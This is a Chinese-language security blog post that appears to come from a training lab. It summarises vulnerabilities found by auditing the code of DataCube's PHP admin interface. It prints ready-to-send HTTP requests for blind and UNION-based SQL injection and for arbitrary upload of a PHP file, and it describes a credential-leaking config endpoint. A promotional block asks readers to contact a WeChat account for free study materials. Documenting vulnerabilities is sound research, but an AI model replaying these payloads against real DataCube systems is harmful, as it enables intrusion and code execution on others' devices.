DataCube 漏洞小結

蚁景网安实验室發表於2024-05-30

在這裡分享一下透過拖取 DataCube 程式碼審計後發現的一些漏洞,包括前臺的檔案上傳,資訊洩露出賬號密碼,後臺的檔案上傳。當然還有部分 SQL 注入漏洞,因為 DataCube 採用的是 SQLite 的資料庫,所以SQL 注入相對來說顯得就很雞肋。當然可能還有沒有發現的漏洞,可以互相討論。

phpinfo 洩露

image

image

SQL隱碼攻擊

無回顯的SQL隱碼攻擊

image

/DataCube/www/admin/setting_schedule.php

image

SQLite 沒有sleep()函式,但是可以用 randomblob(N) 來製造延時。randomblob(N)函式是SQLite資料庫中的一個常用函式,它的作用是生成一個指定長度的隨機二進位制字串。

image

正常請求時間

POST /admin/setting_schedule.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Connection: close
​
datetime=2024-04-24+02%3A00'+or+randomblob(9000000000000000000000000)+and+'1&tbl_type=fs&delete=1

image

延時響應

判斷對應的 SQLite 的版本號

POST /admin/setting_schedule.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
​
datetime=-1'or+(case+when(substr(sqlite_version(),1,1)<'4')+then+randomblob(900000000000000000000000000)+else+0+end)+and+'1&tbl_type=fs&delete=1

image

image

image

可以判斷出SQLite的版本是3

【----幫助網安學習,以下所有學習資料免費領!加vx:dctintin,備註 “部落格園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

有回顯的SQL隱碼攻擊

POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
​
req_id=1) UNION ALL SELECT sqlite_version(),NULL,NULL--

image

查詢出 sqlite 的版本號

www\admin\pr_monitor\getting_index_data.php

image

www\admin\pr_monitor\getting_screen_data.php#getData

image

www\admin\pr_monitor\getting_screen_data.php#getMonitorItemList

image

資訊洩露

www\admin\config_all.php

image

image

將從 SQLite3 資料庫中獲取的資料轉換為一個 JSON 字串,並輸出在頁面上

image

任意檔案上傳

www\admin\transceiver_schedule.php

image

POST /admin/transceiver_schedule.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryb8tU2iptV70lGozq
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
​
------WebKitFormBoundaryb8tU2iptV70lGozq
Content-Disposition: form-data; name="upload_file"; filename="test1.php"
Content-Type: application/octet-stream
​
<?php phpinfo(); ?>
------WebKitFormBoundaryb8tU2iptV70lGozq
Content-Disposition: form-data; name="usb_schedule"
​
1
------WebKitFormBoundaryb8tU2iptV70lGozq--
​

image

image

後臺任意檔案上傳

www\admin\setting_photo.php

image

www\admin\setting_photo.php#insertPhoto

image

www\admin\images.php

image

登入後獲取引數 accesstime 的值

image

將值替換到資料包中

POST /admin/setting_photo.php HTTP/1.1
Content-Length: 414
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydzDlRcTHEmG3mohY
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
​
Connection: close
​
------WebKitFormBoundarydzDlRcTHEmG3mohY
Content-Disposition: form-data; name="add"
​
1
------WebKitFormBoundarydzDlRcTHEmG3mohY
Content-Disposition: form-data; name="addPhoto"; filename="test.php"
Content-Type: image/jpeg
​
<?php phpinfo(); ?>
------WebKitFormBoundarydzDlRcTHEmG3mohY
Content-Disposition: form-data; name="accesstime"
​
0.05027100 1713945976
------WebKitFormBoundarydzDlRcTHEmG3mohY--
​

image

成功將檔案上傳到 /images/slideshow/ 目錄下

image

尚未解決的後臺SQL隱碼攻擊

類似的注入有很多,但是每一次都進行了 accesstime 的校驗,所以需要不停的從頁面上獲取,這裡僅從一處來進行探討

www\admin\config_time_sync.php

image

www\admin\Util.class.php#TblConfUpdate

image

我們很明顯的可以看到這裡的SQL 語句是我們可控的

首先請求頁面 /admin/config_time_sync.php 來獲取一個 accesstime 值

image

再構造請求進行發包

image

image

我們將執行的 SQL 語句列印出來

BEGIN EXCLUSIVE;delete from tbl_conf where key = 'ntp.enable';insert into tbl_conf values('ntp.enable', 'true');select randomblob(999900000000000000000000000);select ('1');COMMIT;BEGIN EXCLUSIVE;delete from tbl_conf where key = 'ntp.server';insert into tbl_conf values('ntp.server', 're-ene.energia.co.jp');COMMIT;BEGIN EXCLUSIVE;delete from tbl_conf where key = 'ntp.retry_count';insert into tbl_conf values('ntp.retry_count', '5');COMMIT;

這裡很奇怪,已經完美的閉合並提示執行成功,卻沒有執行這條語句,有明白的大佬可以一起討論一下。

更多網安技能的線上實操練習,請點選這裡>>